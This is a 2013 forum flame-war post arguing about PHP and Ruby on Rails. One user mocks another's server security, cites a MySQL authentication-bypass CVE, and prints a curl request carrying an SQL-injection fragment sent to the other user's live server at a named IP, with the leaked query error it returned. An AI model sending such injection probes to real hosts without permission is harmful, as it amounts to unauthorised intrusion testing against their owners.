Quote (0n35 @ Aug 15 2013 01:40pm)
I referenced example code for the first couple years while I was learning PHP I'll admit that, afterwards through reading some books I was shown clearly what was good practice and what wasn't, which I suggest people do. PHP is a great language to start with, but don't start from some guys blog, start with a good book, you'll save quite a bit of wasted time. RoR is lacking in inexperienced people really, the resources out there right now aren't clouded by guys on their blogs the way PHP is. It's finding the right resources, although when I do have a question about some uses or what I'm doing it takes longer to find an answer than with PHP. Lamp stack basically outlines my job, so that's why I'm defending it, it's not at all as bad as that article makes it out to be for the uses that are regularly required. I never said RoR was bad, it's just this kid who thinks pinging my domain and finding the IP makes him a genius, telling everyone on this sf to install linux when they're having a problem, and how my firewall magically turns itself on and off, those people irritate me.
I'm sorry that you can't defend your uneducated opinions.
Quote
RoR is lacking in inexperienced people really
wow, what a shame that language only has experienced people? what this even means lol
Quote
and how my firewall magically turns itself on and off
You can cut the crap, your firewall wasn't enabled, mysql wide open to the world (which is another awesome component, eg. allowing anyone in with any password
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122). You can keep repeating your awesome gnome server has best firewall, I don't care who belives you here, but you sure care a lot about it.
Quote
I was shown clearly what was good practice and what wasn't
and you didn't learn shit?
Code
$ curl -i http://96.44.146.45/postr52.php -d submit=1 -d uploaded_file="' /* omfg */ '"
HTTP/1.1 302 Found
Date: Thu, 15 Aug 2013 22:02:44 GMT
Server: Apache/2.2.23 (CentOS)
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=75d213b4bda76c30e3f1ce635270fec0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: index.php
Content-Length: 1953
Connection: close
Content-Type: text/html; charset=UTF-8
Can't insert into table.<br />INSERT INTO posts (timestamp,title,entry,image) VALUES ('1376604164','','','' /* omfg */ '')<br />Access denied for user 'apache'@'localhost' (using password: NO)<!DOCTYPE HTML>
glorious quotes m8. good thing you didn't have a valid connection in your code. Also awesome practice to dump errors for user to see, I DON'T KNOW WHAT COULD GO WRONG WITH IT
Quote
those people irritate me.
learn before you open your mouth next time
This post was edited by nuvo on Aug 15 2013 04:07pm